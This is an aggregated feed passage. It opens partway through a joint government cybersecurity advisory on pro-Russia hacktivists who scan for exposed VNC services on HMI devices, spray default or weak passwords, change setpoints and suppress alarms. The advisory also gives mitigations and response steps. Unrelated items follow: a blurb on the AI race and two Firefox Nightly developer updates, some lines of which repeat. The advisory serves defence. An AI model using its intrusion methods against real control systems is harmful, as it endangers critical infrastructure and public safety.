To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.
Reconnaissance and Initial Access
The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.
Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.
Impact
While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.
Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.
MITRE ATT&CK Tactics and Techniques
See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.


Table 1. Reconnaissance


Technique Title
ID
Use




Gather Victim Organization Information
T1591
Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.


Active Scanning: Vulnerability Scanning
T1595.002
Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.




Table 2. Resource Development


Technique Title
ID
Use




Acquire Infrastructure: Virtual Private Server
T1583.003
Threat actors use virtual infrastructure to obfuscate identifiers.




Table 3. Initial Access


Technique Title
ID
Use




Internet Accessible Device
T0883
Threat actors gain access through less secure HMI devices exposed to the internet.




Table 4. Persistence


Technique Title
ID
Use




Valid Accounts
T0859
Threat actors use password guessing tools to access legitimate accounts on the HMI devices.




Table 5. Credential Access


Technique Title
ID
Use




Brute Force: Password Spraying
T1110.003
Threat actors use tools to rapidly guess common or simple passwords.




Table 6. Lateral Movement


Technique Title
ID
Use




Default Credentials
T0812
Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.


Remote Services
T0886
Threat actors leverage VNC services to access system HMI devices.


Remote Services: VNC
T1021.005
Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.




Table 7. Execution


Technique Title
ID
Use




Graphical User Interface
T0823
Threat actors interact with HMI devices via GUIs, attempting to modify control devices.




Table 8. Inhibit Response Function


Technique Title
ID
Use




Device Restart/Shutdown
T0816
While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.


Alarm Suppression
T0878
Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.


Change Credential
T0892
Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.




Table 9. Impair Process Control


Technique Title
ID
Use




Modify Parameter
T0836
Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.


Unauthorized Command Message
T0855
Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.




Table 10. Impact


Technique Title
ID
Use




Loss of Productivity and Revenue
T0828
Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.


Loss of View
T0829
Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. 


Manipulation of Control
T0831
Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  



Incident Response
If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

Determine which hosts were compromised and isolate them by quarantining or taking them offline.
Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
Reimage compromised hosts.
Provision new account credentials.
Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations
OT Asset Owners and Operators
The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].

Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.

Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.




Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].

Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.

Keep VNC systems updated with the latest version available.


Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.


Ensure OT assets use robust authentication procedures.

Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.


Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.

Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].


Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers
Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.

Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.


Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on secure by design, see CISA’s Secure by Design webpage.
Validate Security Controls
In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.
To start:

Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
Resources
Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.

For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.


The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.

See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.



Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.
New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.
United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.
Acknowledgements
Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.
Version History
December 09, 2025: Initial version.
Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups
For further information on targeting methodologies for pro-Russia hacktivist groups, see:

CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups
The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.
Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

GRU military unit 74455

Sandworm Team
Voodoo Bear
Seashell Blizzard
APT44


Cyber Army of Russia Reborn (CARR)

CyberArmy of Russia
Народная CyberАрмия (НКА)
People’s CyberArmy of Russia (PCA)
Russian CyberArmy Team (RCAT)


NoName057(16)

NoName057(16) Spain
NoName057(16) Italy
NoName057(16) France


Z-Pentest

Z-Pentest Beograd
Z-Pentest Alliance
Z-Alliance





Who's Winning the AI Wars?
Sat, 25 Jul 2026 09:05:23 +0200
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Google used to be the masters of search, but with AI tools beginning to roll out Microsoft's ChatGPT inspired "New Bing" is beginning to be real competition. So in this video we unpack how the AI race is playing out, how Google, Microsoft, Apple, Amazon and others are coping.



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Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202
Sat, 25 Jul 2026 08:37:35 +0200
Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
You will be able to manage this feature in Settings under Sync (for now)




You can read more about the feature here


As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
Adaptive autofill has been enabled on Nightly.

Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.

If you run into issues or have feedback, you can file a bug here!




Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android

dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom




Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

Amin Amir
aoia7rz7l
Chukwuka Rosemary
DrSeed
Frédéric Wang Nélar
japandi
John Iweh
jonathancabera
Josh Aas
Keji Bakare
kofoworola shonuyi
konyhéa
liz
Mathew Hodson
Okhuomon Ajayi
Oluwatobi
ROSHAAN
Sam Johnson

New contributors (🌟 = first patch)

 Anthony Mclamb: Disable the legacy Edge migrator
 Amin Amir

🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
🌟 Amine Zroual: Omitted maxResults property not handled correctly in getRecentlyClosed


any1here: install_sig_alt_stack incorrectly checks mmap’s return value
🌟 Armin Ulrich: Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument
japandi

Cannot remove amazon.com from top sites list
The height of the pinned tabs area should be responsive to the number of pins
Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations


Nathan Johnson [:narjoDev]: Remove browser.display.use_system_colors pref
DrSeed

Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting
The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again


Keji Bakare:

Split view’s focus-outline is clipped on the right side of left tab
White space on the right side of left panel in split view


🌟 gotyaoi: Reload toolbar button is active on about:newtab
Itoro James: [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it
John Iweh: The notification dot is not displayed if the tab is in a Split View
🌟 John Iweh: sidebar-shown attribute remains when sidebar.revamp is false
🌟 jonathancabera:

The Move tab to Split View option is also displayed for the tabs that are within the Split View
A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled
Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode


Aloys: Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67
liz:

Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View
Button accessible name does not convey its function: missing topic context (Settings dialog > Topics dialog > buttons Following/Unfollow/Blocked/Unblock)


Mary cathline: Tab Group Label does not respect touch density in vertical tab bar
🌟 Brandon Lucier: Popups opened with window.open give window type normal instead of popup
karan68: [dialog] New Shortcut dialog needs a label/accessible name
🌟 Vector: Button does not programmatically indicate that it opens a dialog (Recent activity section > story card > ••• disclosure > Delete from History button)
🌟 Osoble: Update font size and weight for synced tabs device name headers in Firefox View
konyhéa:

Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js
Check all second paramaters for TestUtils.waitForCondition in Fx View test files
Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.


Noble Chinonso: #shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled
Pranjali Srivastava: Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)
Okhuomon Ajayi:

More spacing is needed between the tab note icon and the close icon on the tab
The tabs in vertical mode collapsed state are positioned differently in Split View
Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled
Vertical split view tabs can be too big or small when tabs are overflowing


🌟 Rishan: Fix duplicated arrow function in browser_history_sidebar.js
Chukwuka Rosemary:

“Forget About This Site” context menu option missing from Firefox View history
Long strings are not displayed properly on the about:opentabs page search filed
Add test for Forget This Site option in Fxview history context menu.


ROSHAAN:

🌟Tab note background colour is incorrect for default light theme
 [win/linux] The splitter between content areas does not match Figma spec
Fix typo in OpenInTabsUtils.confirmOpenInTabs()


Sameeksha: Disclosure button expanded/collapsed state not programmatically defined (Customize button)
kofoworola shonuyi:

🌟Actually hide or remove sidebar-shown attribute when in fullscreen.
Add a test for checking sidebar-shown attribute in fullscreen mode


🌟 Sayd Mateen: Page URL is displayed as tab name when page’s contains about:reader?
 


Oluwatobi:

Unable to delete selected history entries from sidebar
Incorrect Sidebar button state/tooltip hover text
The city name heading level doesn’t follow the correct heading level order


Nishchay [:nish]: Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)

 
Project Updates
Add-ons / Web Extensions
Addon Manager & about:addons

In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014

NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes



WebExtensions Framework

Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173

Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!


Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329

Thanks to Simon Farre for promptly investigating and fixing this recent regression!



WebExtension APIs

Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125

Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!



DevTools

Artem Manushenkov fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (#1983408)
Andrea Marchesini [:baku] fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (#2031299)
Julian Descottes [:jdescottes] fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (#2028930)
Nicolas Chevobbe [:nchevobbe] improved @container tooltip so it show the value of variables used in style()(#2030239), has enough contrast in dark mode (#2033782) and contains a link to select the container (#2031688)




Hubert Boma Manilla (:bomsy) is making good progress on migrating the Console to CodeMirror 6 (#2032758, #2026569)

Fluent

We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!


Migration Improvements

Thanks to dao for fixing a recent alignment issue in the migration wizard dropdown
Thanks to volunteer contributor Anthony Mclamb for his patch that disables the legacy EdgeHTML Edge migrator! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.

New Tab Page

Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th

It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.


Maxx Crawford enabled Nova designs for New Tab, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.
Maxx Crawford fixed the Nova content feed to render the intended four‑column layout by correcting CSS grid breakpoints.
Maxx Crawford resolved a first‑load failure in the Weather widget by fixing init order and fetch timing, eliminating the “Oops” error.
Maxx Crawford synchronized the Weather toggle between about:preferences#home and the panel via the shared showWeather pref to prevent desync.
Maxx Crawford updated Nova grid focus order to align tab flow with visual order for keyboard users.
Maxx Crawford fixed critical UI issues in Lists and Timer widgets covering overflow, controls, and layout stability.
Maxx Crawford guarded document.dir access in Nova render paths to avoid startup cache worker errors and improve startup stability.
Rolf added a new normalization method for the inferred interest vector to stabilize topic relevance across sessions.
Rolf prevented unnecessary content refreshes during Pocket New Tab experiments, reducing jank and bandwidth.
Sameeksha defined the Customize button’s expanded/collapsed state programmatically using aria-expanded for better a11y.
liz clarified follow/unfollow/blocked button names with topic context so screen readers announce clear actions.
Vector marked the Delete from History control as opening a dialog via aria-haspopup=dialog for assistive tech.
Scott Downe fixed a regression that flipped the Wallpapers pref off, restoring user selections.
Irene Ni corrected privacy link color and focus styles for contrast and keyboard visibility.
Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.
Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.

Search and Urlbar

Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
Work also continues on the new Nova layouts.

Smart Window

uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect

jump to bottom of conversation 2028692
stop streaming button 2029204
back/forward navigation from assistant 2029229
dark mode for various chips 2024499


search engine switching from smart bar 2021973
Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

Dustin converted moz-breadcrumb-group variables into JSON design tokens Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens
Dustin converted moz-box-* variables into JSON design tokens Bug 2029180 – Convert moz-box-* variables into JSON design tokens
Dustin converted moz-promo variables to JSON design tokens Bug 2029190 – Convert moz-promo variables into JSON design tokens
Dustin converted moz-reorderable-list variables to JSON design tokens Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens
Dustin converted moz-visual-picker variables to JSON design tokens Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens
Dustin updated browser-shared.css so it passes use-design-tokens Bug 2022985 – Update browser-shared.css so it passes use-design-tokens
Dustin updated popup.css so it passes use-design-tokens Bug 2022979 – Update popup.css so it passes use-design-tokens
Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  Bug 1955325 – Create opacity tokens
Jon converted toolbar design tokens to JSON Bug 2017970 – Convert toolbar design tokens to json
Anna fixed moz-select with panel-list drop-down size inconsistency Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened
Anna fixed issue with the disabled state of moz-radio component Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled
Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically

UX Fundamentals

The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

Tim converted settings related to Accessibility page to config-based pane Bug 1968116 – Convert settings related to Accessibility page to config-based settings
Benjamin converted Privacy & Security page to the config-based pane Bug 1968112 – Convert settings related to Privacy & Security page to config-based settings
Finn integrated Firefox Labs page into setting-pane config Bug 2021047 – Integrate Firefox Labs page into setting-pane config
Anna converted Firefox Updates section to config-based prefs Bug 1990961 – Convert Firefox Updates section to config-based prefs
Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings Bug 2015093 – Add a moz-promo to welcome users to the redesign




Anna added possibility to search for actions in the redesigned “Applications” section Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section
Anna fixed the Settings navbar layout breakage



Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203
Sat, 25 Jul 2026 08:37:32 +0200
Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!



Controls for the Memories feature can now be set during Smart Window onboarding


 

We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, completing the deprecation

NOTE: The blog post published at WebExtensions API changes in Firefox 149-152 provides to extensions developers more details about this deprecation and links to the related MDN docs.



Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

Amin Amir
Pranjali Srivastava
Sam Johnson

New contributors (🌟 = first patch)

 🌟:23rd: Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page
🌟Akeem Omosanya: Remove commented-out code in SearchService.sys.mjs
Amin Amir:

🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
